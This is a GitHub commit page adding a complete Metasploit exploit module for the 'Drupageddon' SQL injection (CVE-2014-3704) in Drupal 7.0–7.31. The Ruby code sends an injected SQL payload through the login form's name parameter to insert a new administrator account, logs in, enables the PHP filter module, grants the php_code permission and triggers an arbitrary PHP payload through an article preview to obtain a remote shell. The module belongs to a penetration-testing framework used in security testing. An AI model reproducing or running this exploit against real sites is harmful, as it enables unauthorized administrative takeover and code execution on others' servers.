Skip to content

Commit dbfe398

Browse files
committed
Land rapid7#4037, Drupageddon exploit
2 parents f2328e6 + a514e3e commit dbfe398

File tree

1 file changed

+357
-0
lines changed

1 file changed

+357
-0
lines changed
Lines changed: 357 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,357 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',
16+
'Description' => %q{
17+
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
18+
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
19+
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
20+
in 7.32).
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'SektionEins', # discovery
26+
'Christian Mehlmauer', # msf module
27+
'Brandon Perry' # msf module
28+
],
29+
'References' =>
30+
[
31+
['CVE', '2014-3704'],
32+
['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
33+
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
34+
],
35+
'Privileged' => false,
36+
'Platform' => ['php'],
37+
'Arch' => ARCH_PHP,
38+
'Targets' => [['Drupal 7.0 - 7.31',{}]],
39+
'DisclosureDate' => 'Oct 15 2014',
40+
'DefaultTarget' => 0
41+
))
42+
43+
register_options(
44+
[
45+
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
46+
], self.class)
47+
48+
register_advanced_options(
49+
[
50+
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
51+
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
52+
], self.class)
53+
end
54+
55+
def uri_path
56+
normalize_uri(target_uri.path)
57+
end
58+
59+
def admin_role
60+
datastore['ADMIN_ROLE']
61+
end
62+
63+
def iter
64+
datastore['ITER']
65+
end
66+
67+
def itoa64
68+
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
69+
end
70+
71+
# PHPs PHPASS base64 method
72+
def phpass_encode64(input, count)
73+
out = ''
74+
cur = 0
75+
while cur < count
76+
value = input[cur].ord
77+
cur += 1
78+
out << itoa64[value & 0x3f]
79+
if cur < count
80+
value |= input[cur].ord << 8
81+
end
82+
out << itoa64[(value >> 6) & 0x3f]
83+
break if cur >= count
84+
cur += 1
85+
86+
if cur < count
87+
value |= input[cur].ord << 16
88+
end
89+
out << itoa64[(value >> 12) & 0x3f]
90+
break if cur >= count
91+
cur += 1
92+
out << itoa64[(value >> 18) & 0x3f]
93+
end
94+
out
95+
end
96+
97+
def generate_password_hash(pass)
98+
# Syntax for MD5:
99+
# $P$ = MD5
100+
# one char representing the hash iterations (min 7)
101+
# 8 chars salt
102+
# MD5_raw(salt.pass) + iterations
103+
# MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
104+
iter_char = itoa64[iter]
105+
salt = Rex::Text.rand_text_alpha(8)
106+
md5 = Rex::Text.md5_raw("#{salt}#{pass}")
107+
# convert iter from log2 to integer
108+
iter_count = 2**iter
109+
1.upto(iter_count) {
110+
md5 = Rex::Text.md5_raw("#{md5}#{pass}")
111+
}
112+
md5_base64 = phpass_encode64(md5, md5.length)
113+
md5_stripped = md5_base64[0...22]
114+
pass = "$P\\$" + iter_char + salt + md5_stripped
115+
vprint_debug("#{peer} - password hash: #{pass}")
116+
117+
return pass
118+
end
119+
120+
def sql_insert_user(user, pass)
121+
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
122+
end
123+
124+
def sql_make_user_admin(user)
125+
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
126+
end
127+
128+
def extract_form_ids(content)
129+
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
130+
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
131+
132+
vprint_debug("#{peer} - form_build_id: #{form_build_id}")
133+
vprint_debug("#{peer} - form_token: #{form_token}")
134+
135+
return form_build_id, form_token
136+
end
137+
138+
def exploit
139+
140+
# TODO: Check if option admin_role exists via admin/people/permissions/roles
141+
142+
# call login page to extract tokens
143+
print_status("#{peer} - Testing page")
144+
res = send_request_cgi({
145+
'uri' => uri_path,
146+
'vars_get' => {
147+
'q' => 'user/login'
148+
}
149+
})
150+
151+
unless res and res.body
152+
fail_with(Failure::Unknown, "No response or response body, bailing.")
153+
end
154+
155+
form_build_id, form_token = extract_form_ids(res.body)
156+
157+
user = Rex::Text.rand_text_alpha(10)
158+
pass = Rex::Text.rand_text_alpha(10)
159+
160+
post = {
161+
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
162+
'name[0]' => Rex::Text.rand_text_alpha(10),
163+
'pass' => Rex::Text.rand_text_alpha(10),
164+
'form_build_id' => form_build_id,
165+
'form_id' => 'user_login',
166+
'op' => 'Log in'
167+
}
168+
169+
print_status("#{peer} - Creating new user #{user}:#{pass}")
170+
res = send_request_cgi({
171+
'uri' => uri_path,
172+
'method' => 'POST',
173+
'vars_post' => post,
174+
'vars_get' => {
175+
'q' => 'user/login'
176+
}
177+
})
178+
179+
unless res and res.body
180+
fail_with(Failure::Unknown, "No response or response body, bailing.")
181+
end
182+
183+
# login
184+
print_status("#{peer} - Logging in as #{user}:#{pass}")
185+
res = send_request_cgi({
186+
'uri' => uri_path,
187+
'method' => 'POST',
188+
'vars_post' => {
189+
'name' => user,
190+
'pass' => pass,
191+
'form_build_id' => form_build_id,
192+
'form_id' => 'user_login',
193+
'op' => 'Log in'
194+
},
195+
'vars_get' => {
196+
'q' => 'user/login'
197+
}
198+
})
199+
200+
unless res and res.code == 302
201+
fail_with(Failure::Unknown, "No response or response body, bailing.")
202+
end
203+
204+
cookie = res.get_cookies
205+
vprint_debug("#{peer} - cookie: #{cookie}")
206+
207+
# call admin interface to extract CSRF token and enabled modules
208+
print_status("#{peer} - Trying to parse enabled modules")
209+
res = send_request_cgi({
210+
'uri' => uri_path,
211+
'vars_get' => {
212+
'q' => 'admin/modules'
213+
},
214+
'cookie' => cookie
215+
})
216+
217+
form_build_id, form_token = extract_form_ids(res.body)
218+
219+
enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
220+
enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
221+
222+
unless enabled_matches
223+
fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
224+
end
225+
226+
post = {
227+
'modules[Core][php][enable]' => '1',
228+
'form_build_id' => form_build_id,
229+
'form_token' => form_token,
230+
'form_id' => 'system_modules',
231+
'op' => 'Save configuration'
232+
}
233+
234+
enabled_matches.each do |match|
235+
post[match.captures[0]] = '1'
236+
end
237+
238+
# enable PHP filter
239+
print_status("#{peer} - Enabling the PHP filter module")
240+
res = send_request_cgi({
241+
'uri' => uri_path,
242+
'method' => 'POST',
243+
'vars_post' => post,
244+
'vars_get' => {
245+
'q' => 'admin/modules/list/confirm'
246+
},
247+
'cookie' => cookie
248+
})
249+
250+
unless res and res.body
251+
fail_with(Failure::Unknown, "No response or response body, bailing.")
252+
end
253+
254+
# Response: http 302, Location: http://10.211.55.50/?q=admin/modules
255+
256+
print_status("#{peer} - Setting permissions for PHP filter module")
257+
258+
# allow admin to use php_code
259+
res = send_request_cgi({
260+
'uri' => uri_path,
261+
'vars_get' => {
262+
'q' => 'admin/people/permissions'
263+
},
264+
'cookie' => cookie
265+
})
266+
267+
268+
unless res and res.body
269+
fail_with(Failure::Unknown, "No response or response body, bailing.")
270+
end
271+
272+
form_build_id, form_token = extract_form_ids(res.body)
273+
274+
perm_regex = /name="(.*)" value="(.*)" checked="checked"/
275+
enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
276+
277+
unless enabled_perms
278+
fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
279+
end
280+
281+
# get administrator role id
282+
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
283+
vprint_debug("#{peer} - admin role id: #{id}")
284+
285+
unless id
286+
fail_with(Failure::Unknown, "Could not parse out administrator ID")
287+
end
288+
289+
post = {
290+
"#{id}[use text format php_code]" => 'use text format php_code',
291+
'form_build_id' => form_build_id,
292+
'form_token' => form_token,
293+
'form_id' => 'user_admin_permissions',
294+
'op' => 'Save permissions'
295+
}
296+
297+
enabled_perms.each do |match|
298+
post[match.captures[0]] = match.captures[1]
299+
end
300+
301+
res = send_request_cgi({
302+
'uri' => uri_path,
303+
'method' => 'POST',
304+
'vars_post' => post,
305+
'vars_get' => {
306+
'q' => 'admin/people/permissions'
307+
},
308+
'cookie' => cookie
309+
})
310+
311+
unless res and res.body
312+
fail_with(Failure::Unknown, "No response or response body, bailing.")
313+
end
314+
315+
# Add new Content page (extract csrf token)
316+
print_status("#{peer} - Getting tokens from create new article page")
317+
res = send_request_cgi({
318+
'uri' => uri_path,
319+
'vars_get' => {
320+
'q' => 'node/add/article'
321+
},
322+
'cookie' => cookie
323+
})
324+
325+
unless res and res.body
326+
fail_with(Failure::Unknown, "No response or response body, bailing.")
327+
end
328+
329+
form_build_id, form_token = extract_form_ids(res.body)
330+
331+
# Preview to trigger the payload
332+
data = Rex::MIME::Message.new
333+
data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
334+
data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
335+
data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
336+
data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
337+
data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
338+
data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
339+
data.add_part('Preview', nil, nil, 'form-data; name="op"')
340+
data.add_part(user, nil, nil, 'form-data; name="name"')
341+
data.add_part('1', nil, nil, 'form-data; name="status"')
342+
data.add_part('1', nil, nil, 'form-data; name="promote"')
343+
post_data = data.to_s
344+
345+
print_status("#{peer} - Calling preview page. Exploit should trigger...")
346+
send_request_cgi(
347+
'method' => 'POST',
348+
'uri' => uri_path,
349+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
350+
'data' => post_data,
351+
'vars_get' => {
352+
'q' => 'node/add/article'
353+
},
354+
'cookie' => cookie
355+
)
356+
end
357+
end

0 commit comments

Comments
 (0)